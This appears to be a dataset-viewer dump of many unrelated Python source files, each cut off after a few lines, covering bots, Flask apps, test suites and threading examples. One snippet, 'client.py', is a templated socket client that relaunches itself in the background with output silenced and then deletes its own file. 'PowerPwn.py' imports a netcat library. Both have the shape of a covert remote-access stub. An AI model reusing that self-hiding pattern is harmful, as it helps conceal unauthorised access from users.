source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
msg.py | from utlis.rank import setrank ,isrank ,remrank ,setsudos ,remsudos ,setsudo,IDrank,GPranks
from utlis.send import send_msg, BYusers, sendM,Glang
from handlers.delete import delete
from utlis.tg import Bot, Ckuser
from handlers.ranks import ranks
from handlers.locks import locks
from handlers.gpcmd import gpcmd
... |
app.py | import numpy as np
from flask import Flask, request, jsonify, render_template, url_for
import pickle
from prediction import movie_predict
import json
import http.client
import threading
app = Flask(__name__)
@app.route('/')
def home():
return render_template('home.html')
@app.route('/predict', methods = ['POST']... |
index.py | # Import packages
import os
import cv2
import sys
import numpy as np
from timeit import default_timer
from threading import Thread
from datetime import datetime
import uuid
import random
import dlr
from dlr.counter.phone_home import PhoneHome
from stream_uploader import init_gg_stream_manager, send_to_gg_stream_manage... |
run.py | import os
import threading
import time
import sys, getopt
def client(i,results,loopTimes):
print("client %d start" %i)
command = "./single-cold_warm.sh -R -t " + str(loopTimes)
r = os.popen(command)
text = r.read()
results[i] = text
print("client %d finished" %i)
def warmup(i,warmupTimes,a... |
MVBTest.py | import time
import random
from BlockchainNetwork.MVB import *
from threading import Thread
coloredlogs.install()
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
log = logging.getLogger(__name__)
class MVBTest:
def __init__(self, initialNodeCnt):
sel... |
power_monitoring.py | import random
import threading
import time
from statistics import mean
from cereal import log
from common.params import Params, put_nonblocking
from common.realtime import sec_since_boot
from selfdrive.hardware import HARDWARE
from selfdrive.swaglog import cloudlog
CAR_VOLTAGE_LOW_PASS_K = 0.091 # LPF gain for 5s tau... |
Commander_extract_Subpages.py | import sys
from DBOps import DBOps
from selenium.webdriver.chrome.options import Options
from seleniumwire import webdriver
import os
import tldextract
from urllib.parse import urlparse, unquote
import random
import time
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.by import By... |
session_test.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
mpvisualizeworker.py | import multiprocessing
import numpy as np
import cv2
import time
from lib.mpio import start_receiver
from lib.mpvariable import MPVariable
from lib.load_label_map import LoadLabelMap
from tf_utils import visualization_utils_cv2 as vis_util
from skimage import measure
import sys
PY2 = sys.version_info[0] == 2
PY3 = sys... |
main.py | #!/usr/bin/env python3
"""Implement a remote shell which talks to a MicroPython board.
This program uses the raw-repl feature of the pyboard to send small
programs to the pyboard to carry out the required tasks.
"""
# Take a look at https://repolinux.wordpress.com/2012/10/09/non-blocking-read-from-stdin-in-pyt... |
common_utils.py | r"""Importing this file must **not** initialize CUDA context. test_distributed
relies on this assumption to properly run. This means that when this is imported
no CUDA calls shall be made, including torch.cuda.device_count(), etc.
torch.testing._internal.common_cuda.py can freely initialize CUDA context when imported.... |
rcnn_demo_kaggle_3.py | # --------------------------------------------------------
# Deformable Convolutional Networks
# Copyright (c) 2017 Microsoft
# Licensed under The MIT License [see LICENSE for details]
# Written by Guodong Zhang
# --------------------------------------------------------
from rcnn_demo_kaggle import *
if __name__ ... |
pqueue.py | import queue
import socket
import os
class PollableQueue(queue.Queue):
def __init__(self):
super().__init__()
# Create a pair of connected sockets
if os.name == 'posix':
self._putsocket, self._getsocket = socket.socketpair()
else:
# Compatibility on n... |
wsdump.py | #!/usr/bin/env python
from __future__ import print_function
import argparse
import code
import sys
import threading
import time
import six
from six.moves.urllib.parse import urlparse
import websocket
try:
import readline
except ImportError:
pass
def get_encoding():
encoding = getattr(sys.stdin, "encod... |
bm_alloc.py | """
deltablue.py
============
Ported for the PyPy project.
Contributed by Daniel Lindsley
This implementation of the DeltaBlue benchmark was directly ported
from the `V8's source code`_, which was in turn derived
from the Smalltalk implementation by John Maloney and Mario
Wolczko. The original Javascript implementati... |
threads_example.py | import threading
def start_threading(param):
print('Executa algo....')
print(f'Utiliza o parâmetro recebido: {param}')
return print(f'Resultado final: {param * param}')
th = threading.Thread(target=start_threading, args=(5,))
th.start()
th.join()
|
slicer.py | from __future__ import print_function
from multiprocessing import Process, Pipe
from datetime import datetime
from requests import Response
from io import BytesIO
import atexit
import base64
import boto3
import time
import json
import uuid
import math
import sys
import os
MAX_CRED_AGE = 240
# Call flow:
# Bootstrap... |
bot.py | from codecs import utf_16_be_encode
from encodings import utf_8
from fileinput import filename
from xml.etree.ElementInclude import include
from datetime import datetime
import tweepy
import glob
import random
import os
import schedule
from schedule import every, repeat, run_pending
import time
import confi... |
sa_consumer.py | from threading import Thread
from kafka import KafkaConsumer
class SaConsumer:
"""
Creates a Kafka Consumer to consume Sentiment Analysis and sends it to the web server's clients
"""
def __init__(self, on_message):
self._consumer = KafkaConsumer('sa')
self._thread = Thread(target=self... |
send_file.py | #!/usr/bin/env python3
"""
send file over MQTT hjltu@ya.ru
https://github.com/hjltu/file-transfer-via-mqtt
payload is json:
"timeid": message ID
"filename": file name
"filesize": "filename" size
"filehash": "filename" hash (md5)
"chunkdata": chunk of the "filen... |
TServer.py | #
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
process.py | # ============================================================================
# FILE: process.py
# AUTHOR: Shougo Matsushita <Shougo.Matsu at gmail.com>
# License: MIT license
# ============================================================================
import subprocess
from threading import Thread
from queue impor... |
test_setup.py | """Test component/platform setup."""
# pylint: disable=protected-access
import asyncio
import os
from unittest import mock
import threading
import logging
import voluptuous as vol
from homeassistant.core import callback
from homeassistant.const import (
EVENT_HOMEASSISTANT_START, EVENT_COMPONENT_LOADED)
import ho... |
test_wr_inner_hashing.py | import logging
import threading
import pytest
import random
import allure
from datetime import datetime
from tests.common import reboot
from tests.ecmp.inner_hashing.conftest import get_src_dst_ip_range, FIB_INFO_FILE_DST, VXLAN_PORT,\
PTF_QLEN, OUTER_ENCAP_FORMATS, NVGRE_TNI
from tests.ptf_runner import ptf_runne... |
chat.py | from ipywidgets import widgets
from IPython.display import display
import threading
from socket import *
class ChatClient:
def __init__(self, address, port=9999):
self.address = address
self.port = port
# Créer un champ de texte (pour ecrire)
self.text = widgets.Text(descri... |
publish_ui.py | import threading
import sys
import os
import shutil
import subprocess
description = "Publish latest UI files onto sheeva003."
command_group = "Hudson commands"
command_hidden = True
def rssh(username,host,cmd):
import paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddP... |
app.py | import PIL
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from urllib.parse import quote
import time
import pandas as pd
import os
from tkinter import *
from tkinter import filedialog
from PIL import ImageTk, Image
import threading
root_path = os.getcwd()
# CARREGA DRIVER E ENTRA NO SI... |
mergeTrainingV2.py | import pandas as pd
from django.http import JsonResponse
import numpy as np
from sklearn import model_selection,preprocessing
from keras.preprocessing.image import ImageDataGenerator
from datetime import datetime
import matplotlib.pyplot as plt
from datetime import datetime
from keras import optimizers
import sys, os,... |
test_search.py | import pdb
import struct
from random import sample
import threading
import datetime
import logging
from time import sleep
import concurrent.futures
from multiprocessing import Process
import pytest
import numpy
import sklearn.preprocessing
from milvus import IndexType, MetricType
from utils import *
dim = 128
collecti... |
PowerPwn.py | #!/usr/bin/python2
#-*- coding:utf-8 -*-
import socket
import subprocess
import platform
import sys
import time
import os
import readline
import logging
import shlex
import threading
from base64 import b64encode
try:
import nclib
except ImportError:
print('\033[1;91m[!] Error NCLIB Not Found !')
try:
imp... |
process_and_exceptions_16.py | import multiprocessing as mp
import time
import signal
p = mp.Process(target=time.sleep, args=(1000,))
print(p, p.is_alive())
p.start()
print(p, p.is_alive())
p.terminate()
time.sleep(0.1)
print(p, p.is_alive())
print(p.exitcode == -signal.SIGTERM, p.exitcode, -signal.SIGTERM)
print(signal.SIGTERM)
print(-si... |
main.py | __author__ = 'luke Berezynskyj <eat.lemons@gmail.com>'
import sys
import time
import json
import socket
import logging
import pjsua as pj
import multiprocessing
from time import sleep
from verify import Verify
from optparse import OptionParser
from accounthandler import AccountHandler
logging.basicConfig(level=logg... |
test_util.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
finchconnection.py | # This module implements connection of a Finch robot via USB. It is used by
# finch.py to send and receive commands from the Finch.
# The Finch is a robot for computer science education. Its design is the result
# of a four year study at Carnegie Mellon's CREATE lab.
# http://www.finchrobot.com
import atexit
import os... |
thread.py |
from __future__ import print_function
import logging
import warnings
import sys
_log = logging.getLogger(__name__)
try:
from itertools import izip
except ImportError:
izip = zip
from functools import partial
import json
import threading
try:
from Queue import Queue, Full, Empty
except ImportError:
f... |
test_server.py | """
Tests the DQM Server class
"""
import threading
import pytest
import requests
import qcfractal.interface as portal
from qcfractal import FractalServer
from qcfractal.testing import test_server, pristine_loop, find_open_port, check_active_mongo_server
meta_set = {'errors', 'n_inserted', 'success', 'duplicates', '... |
client.py | import base64
from threading import Thread
import Pyro4
import numpy as np
from tornado import gen
class MonitoringClient:
def __init__(self, host_ip, server_name):
"""
Client to continuously read data from the monitoring server.
Args:
host_ip: IP of the device on which the m... |
tests.py | # -*- coding: utf-8 -*-
# Unit and doctests for specific database backends.
from __future__ import unicode_literals
import copy
import datetime
import re
import threading
import unittest
import warnings
from decimal import Decimal, Rounded
from django.conf import settings
from django.core.exceptions import Improperly... |
LeapLink.py | # -*- coding: utf-8 -*-
"""
Created on Tue Nov 3 19:17:05 2015
Modified on Tue May 17 2016
@author: Daniel Hoyer Iversen
@author: Franklin King
"""
from __future__ import print_function
import crcmod
import numpy as np
import signal
import collections
import socket
import sys
import struct
import threading
import ti... |
producer.py | # Copyright (c) 2014 Rackspace, Inc.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writ... |
processify.py | import sys
import traceback
from functools import wraps
from multiprocessing import Process, Queue
def processify(func):
'''Decorator to run a function as a process.
Be sure that every argument and the return value
is *pickable*.
'''
def process_func(q, *args, **kwargs):
try:
... |
termpdf.py | #!/usr/bin/env python3
# vim:fileencoding=utf-8
"""\
Usage:
termpdf.py [options] example.pdf
Options:
-p n, --page-number n : open to page n
-f n, --first-page n : set logical page number for page 1 to n
--citekey key : associate file with bibtex citekey
-o, --open citekey : open file associated wi... |
Arduino.py | #############################################
# This is a basic script to emulate the hardware of
# an Arduino microcontroller. The VirtualDevice
# service will execute this script when
# createVirtualArduino(port) is called
import time
import math
import threading
from random import randint
from org.myrobotl... |
simulation_1.py | '''
Authors: Hugh Jackovich and Matthew Sagen
Date: 10/29/18
simulation_1:
'''
import network_1
import link_1
import threading
from time import sleep
# configuration parameters
router_queue_size = 0 #0 means unlimited
simulation_time = 1 #give the network sufficient time to transfer all packets before quitting
if __... |
transaction.py | #!/usr/bin/python3
import functools
import re
import sys
import threading
import time
from collections import deque
from enum import IntEnum
from hashlib import sha1
from pathlib import Path
from typing import Any, Callable, Dict, List, Optional, Sequence, Tuple, Union
from warnings import warn
import black
import re... |
python_instance.py | #!/usr/bin/env python
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "... |
download_pdfs.py | import collections
import datetime
import os
import re
import sys
import threading
import time
import pickle
import shutil
import random
from urllib.request import urlopen
from utils import Config, get_left_time_str
TMP_SUFFIX = ".tmp"
RESTART = True
def cmd_listener():
while True:
try:
cmd ... |
main.py | import os
import sys
import tkinter.messagebox
from pathlib import Path
from threading import Thread
from tkinter import Tk, Frame, Entry, Button, LabelFrame, Label, X, BOTH, YES, filedialog, Menu
import requests as req
from utils.audio import Audio
from utils.conf import Configuration
from utils.languages import Lan... |
commandnode.py | #!/usr/bin/env python3
import threading
import inputs
import rospy
import time
from std_msgs.msg import Float64, Bool
from numpy import interp
class ControllerCommandNode(object):
def __init__(self):
super().__init__()
gamepadThread = threading.Thread(target=self.monitorGamepad)
gamepadT... |
dev_server.py | """
A python server to mimic the behavior of unrealcv server
Useful for development
Make sure socket is properly closed and released, this is platform dependent and tricky
- NullServer : Do nothing when got a message
- EchoServer : Sendback everything it received
- MessageServer : Provide a send function and also chec... |
retrain_model.py | # /usr/bin/env python3
import os
import time
import logging
import cv2
import face_recognition
import multiprocessing as mp
from imutils import paths as imutils_paths
from ai_service import paths
logger = logging.getLogger(__name__)
def train_images(image_paths, queue):
returnVal = []
for image_path in im... |
test_fork1.py | """This test checks for correct fork() behavior.
"""
import _imp as imp
import os
import signal
import sys
import threading
import time
import unittest
from test.fork_wait import ForkWait
from test.support import (reap_children, get_attribute,
import_module, verbose)
# Skip... |
process_queue_server.py | import http.server
import threading
import time
import json
# import BaseHTTPRequestHandler, HTTPServer
class RequestHandler(http.server.BaseHTTPRequestHandler):
def __init__(self, qcontext, request, client_address, server):
self.qcontext = qcontext
http.server.BaseHTTPRequestHandler.__init__(self, r... |
startup.py | from InquirerPy.utils import color_print
import sys, psutil, time, cursor, valclient, ctypes, traceback, os, subprocess
from .utilities.killable_thread import Thread
from .utilities.config.app_config import Config
from .utilities.config.modify_config import Config_Editor
from .utilities.processes import Processes
from... |
runtests.py | #!/usr/bin/env python
# vim:ts=4:sw=4:et:
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
# no unicode literals
import os
import os.path
# in the FB internal test infra, ensure that we are running from the
# dir that houses this script rather than some othe... |
main.py | from kivy.app import App
from kivy.lang import Builder
from core.spotdlgui.scripts import utils as app_utils
from kivy.config import Config
# Disable option to exit the app when Esc is pressed.
Config.set('kivy', 'exit_on_escape', '0')
# Open app depending if it was maximized or not.
if app_utils.get_window_state() =... |
dl.py | import collections
import itertools
from operator import itemgetter, attrgetter
from dataclasses import dataclass
import csv
import json
from enum import Enum
import select
import struct
import sys
import os
import random
import time
import textwrap
import re
import pickle
import uuid
from threading import Thread
impor... |
interface.py | # Copyright (c) 2016 Ansible by Red Hat, Inc.
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache Licen... |
test_collections.py | # -*- coding: utf-8 -*-
from ..syntax import macros, test, test_raises, the # noqa: F401
from ..test.fixtures import session, testset
from collections.abc import Mapping, MutableMapping, Hashable, Container, Iterable, Sized
from itertools import count, repeat
from pickle import dumps, loads
import threading
from ..... |
dysptam.py | import numpy as np
import cv2 as cv
import time
import traceback
import g2o
import argparse
from threading import Thread
import os
import shutil
from dynaseg import DynaSeg
from msptam import SPTAM, stereoCamera
from components import Camera
from components import StereoFrame
from feature import ImageFeature
from para... |
c.py | import rpyc
from rpyc import Service
from threading import Timer
import threading
_global_flag = False
_global_v_flag = False
def change_flag():
global _global_flag
_global_flag = True
def change_v_flag():
global _global_v_flag
_global_v_flag = True
class C(Service):
def e... |
application_test.py | # Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
main.py | import traceback
import threading
import model as m_model
import view.game_view as m_game_view
import common.message as p_message
import common.message.message_subject as p_message_subject
import common.path as m_path
# Everything is in a try-except to get the error message if the program crashs
# noinspection PyBroa... |
synchronizingThreads.py | from queue import Queue
from threading import Thread
def worker(q, n):
while True:
item = q.get()
if not item:
break
print("process data:", n, item)
q = Queue(5)
th1 = Thread(target= worker, args=(q,1))
th2 = Thread(target=worker, args=(q,2))
th1.start()
th2.start()
for i in rang... |
server.py | import socket
import fcntl
import os
import time
import queue
import logging
import traceback
import atexit
from threading import Thread
import statistics as stat
from .controller import Controller, ControllerTypes
from ..bluez import BlueZ, find_devices_by_alias
from .protocol import ControllerProtocol
from .input im... |
test_search_20.py | import threading
import time
import pytest
import random
import numpy as np
from base.client_base import TestcaseBase
from utils.util_log import test_log as log
from common import common_func as cf
from common import common_type as ct
from common.common_type import CaseLabel, CheckTasks
prefix = "search_collection"
s... |
_server_adaptations.py | # Copyright 2016 gRPC authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing... |
actions.py | from . import config
import datetime
import os
import shutil
import subprocess
import threading
import time
import pyperclip
from . import text_to_speech as tts
def execute(path_app):
subprocess.call([path_app])
def open_app(session_id, context):
app = context['app']
path_app = shutil.which(app)
if ... |
test_ftplib.py | """Test script for ftplib module."""
# Modified by Giampaolo Rodola' to test FTP class, IPv6 and TLS
# environment
import unittest
import ftplib
import asyncore
import asynchat
import socket
import io
import errno
import os
import threading
import time
try:
import ssl
except ImportError:
ssl = None
from unit... |
core.py | """
Core components of Home Assistant.
Home Assistant is a Home Automation framework for observing the state
of entities and react to changes.
"""
import enum
import functools as ft
import logging
import os
import signal
import threading
import time
from types import MappingProxyType
import homeassistant.helpers.tem... |
gushiguinoconfig.py | import PySimpleGUI as sg
from functions import *
from datetime import datetime
import multiprocessing
from multiprocessing import Manager
import sys,os
from threading import Thread
import time
import traceback
def gui_get_max_process(excel_name):
from BaseExcelOP import BaseExcel
be = BaseExcel(excel_name)
... |
roundrobin_backend.py | from .backend import Backend
import torch.multiprocessing as mp
from hypergan.gan_component import ValidationException, GANComponent
import torch.utils.data as data
import hyperchamber as hc
import hypergan as hg
import copy
import torch
import time
mp.set_start_method('spawn', force=True)
def train(device, head_devic... |
test_agent.py | import multiprocessing
import threading
import tensorflow as tf
from agent.access import Access
from agent.main import Agent
NUMS_CPU = multiprocessing.cpu_count()
state_size = 58
batch_size = 50
action_size = 3
max_episodes = 3
GD = {}
class Worker(Agent):
def __init__(self, name, access, batch_size, state_size... |
WebServer.py | from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import json
from threading import Thread
class WebServer:
def initServer(self):
print("Starting Web Server")
thread = Thread(target = self.run)
thread.start()
print("Running Web Server")
def run(self):
server_address = ("0.0.0.0", 2626)
self.... |
test_poplib.py | """Test script for poplib module."""
# Modified by Giampaolo Rodola' to give poplib.POP3 and poplib.POP3_SSL
# a real test suite
import poplib
import asyncore
import asynchat
import socket
import os
import time
import errno
from unittest import TestCase, skipUnless
from test import test_support
from test.test_suppor... |
client.py | import os
import sys
import socket
import threading
import subprocess
from io import StringIO
if not {injection}:
if len(sys.argv) == 1:
os.system(f"python3 " + __file__ + " exploit &>/dev/null &")
exit()
else:
os.remove(__file__)
HEADER = 64
PORT = {port}
SEND_BYTES = 1024
FORMAT = '... |
main.py | import sys
sys.path.insert(0,"../")
sys.path.insert(1,"../LUDO_QLearning/LUDOpy-QLearn/test/")
import progressbar
from QLearning.stateSpacePlayer import StateSpacePlayer
import ludopy
import csv
5
import matplotlib.pyplot as plt
import numpy as np
def startTesting(learningRate, discountFactor, iterations, players, ... |
test_threads.py | from guv import gyield, spawn
from guv.green import threading, time
def f1():
"""A simple function
"""
return 'Hello, world!'
def f2():
"""A simple function that sleeps for a short period of time
"""
time.sleep(0.1)
class TestThread:
def test_thread_create(self):
t = threading.... |
monitor_client_tests.py | #!/usr/bin/env python
#
# Copyright (c) 2014-present, Facebook, Inc.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
#
from __future__ import absolute_import
from __future__ import print_function
from __future__ import unicode_literals
from... |
magnet.py | # coding: utf-8
import re, os
import time
from queue import Queue
import threading
from app.utils.requests import get_html_html
from requests_html import HTMLSession
from bs4 import BeautifulSoup
from jinja2 import PackageLoader,Environment
def sukebei_findindex(searchid):
url = 'https://sukebei.nyaa.si/?q={}'.fo... |
dev.py | import time
import threading
import os, sys
from shutil import rmtree
from selenium import webdriver
from utils.process import ProcessManager, runcmd
from utils.misc import read_yaml_from_file, write_yaml_to_file, dir_listing_as_list, dir_listing_as_dict, getlastmod, write_string_to_file, ANSI_BRIGHTMAGENTA
from cbui... |
client.py | import json
import base64
import aiohttp
import threading
from uuid import UUID
from os import urandom
from binascii import hexlify
from time import timezone, sleep
from typing import BinaryIO, Union
from time import time as timestamp
from locale import getdefaultlocale as locale
from .lib.util import exceptions, hea... |
test_io.py | import sys
import gc
import gzip
import os
import threading
import time
import warnings
import io
import re
import pytest
from pathlib import Path
from tempfile import NamedTemporaryFile
from io import BytesIO, StringIO
from datetime import datetime
import locale
from multiprocessing import Process, Value
from ctypes i... |
test_core.py | #
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not... |
test_sigma_dut.py | # Test cases for sigma_dut
# Copyright (c) 2017, Qualcomm Atheros, Inc.
#
# This software may be distributed under the terms of the BSD license.
# See README for more details.
import binascii
import logging
logger = logging.getLogger()
import os
import socket
import struct
import subprocess
import threading
import tim... |
__init__.py | import requests
import datetime
import dateutil
import logging
import boto3
import gzip
import io
import csv
import time
import os
import sys
import json
import hashlib
import hmac
import base64
import re
from threading import Thread
from io import StringIO
import azure.functions as func
sentinel_customer_id = os.en... |
gamemanager.py | import arcade
import math
import os
import random
import threading
import time
from enum import Enum
from boss import Boss
from knife import Knife
from knifecount import KnifeCount
from target import Target
from obstacle import Obstacle
class GameState(Enum):
""" Store game state in enum """
MENU = 1
GAM... |
Mochila-Paralelo-Threads.py | from random import randint
import threading
# Variavel global
n_populacao = []
# funcoes
def peso_cromo(cromossomo, peso): # retorna o peso toal que que o cromossomo pode levar
sum_peso = 0
qtd_itens = len(peso)
n = 0
if (len(cromossomo)!=qtd_itens):
n = 2
else:
n = 0
for i in range(qtd_itens):
if cromos... |
base_camera.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import time
import threading
try:
from greenlet import getcurrent as get_ident
except ImportError:
try:
from thread import get_ident
except ImportError:
from _thread import get_ident
class CameraEvent(object):
"""An Event-like class that s... |
asio_chat_client_test.py | import re
import os
import socket
from threading import Thread
import time
import ttfw_idf
global g_client_response
global g_msg_to_client
g_client_response = b""
g_msg_to_client = b" 3XYZ"
def get_my_ip():
s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s1.connect(("8.8.8.8", 80))
my_ip = s1.g... |
server2.py | import socket
import csv
import traceback
import threading
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
usrpass={}
def openfile():
filename="login_credentials.csv"
with open(filename,'r')as csvfile:
csv_file = csv.reader(csvfile, delimiter=",")
for col in csv_file:
usrpas... |
workers.py | # -*- coding:utf-8 -*-
# This file is part of gcovr <http://gcovr.com/>.
#
# Copyright 2013-2018 the gcovr authors
# This software is distributed under the BSD license.
from threading import Thread, Condition, RLock
from contextlib import contextmanager
from queue import Queue, Empty
class LockedDirectories(object... |
parallel.py | from selenium import webdriver
import unittest
import json
import multiprocessing
class Remote(object):
"""
"""
def __init__(self, desired_capabilities=None, command_executor=None):
"""
Arguments:
- `desired_capabilities`: Array of desired_capabilities
- `command_executor`... |
temporal.py | import time
import logging
from ledfx.effects import Effect
from threading import Thread
import voluptuous as vol
_LOGGER = logging.getLogger(__name__)
DEFAULT_RATE = 1.0 / 60.0
@Effect.no_registration
class TemporalEffect(Effect):
_thread_active = False
_thread = None
CONFIG_SCHEMA = vol.Schema({
... |
socks_source.py | #from __future__ import unicode_literals, division
import select
import socket
import ssl
import struct
import sys
import threading
class MessageType(object):
Control = 0
Data = 1
OpenChannel = 2
CloseChannel = 3
@classmethod
def validate(cls, arg):
if not isinstance(arg, int) or not... |
ws_client.py | #!/usr/bin/env python
# coding: utf-8
import logging
import time
import json
import sys
from multiprocessing import Queue
from threading import Thread, Event, Timer
from typing import Dict, Any
from websocket import (
enableTrace,
WebSocketApp
)
class WSClient(Thread):
"""
Higher level of APIs are p... |
multiplexer_standalone.py | # -*- coding: utf-8 -*-
# ------------------------------------------------------------------------------
#
# Copyright 2018-2019 Fetch.AI Limited
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the ... |
test_util.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
lazy_process.py | import subprocess
import threading
import time
class LazyProcess:
""" Abstraction describing a command line launching a service - probably
as needed as functionality is accessed in Galaxy.
"""
def __init__(self, command_and_args):
self.command_and_args = command_and_args
self.thread_l... |
webServer.py | #!/usr/bin/env/python
# File name : server.py
# Production : GWR
# Website : www.adeept.com
# Author : William
# Date : 2020/03/17
import time
import threading
import move
import Adafruit_PCA9685
import os
import info
import RPIservo
import functions
import robotLight
import switch
import socket
#... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.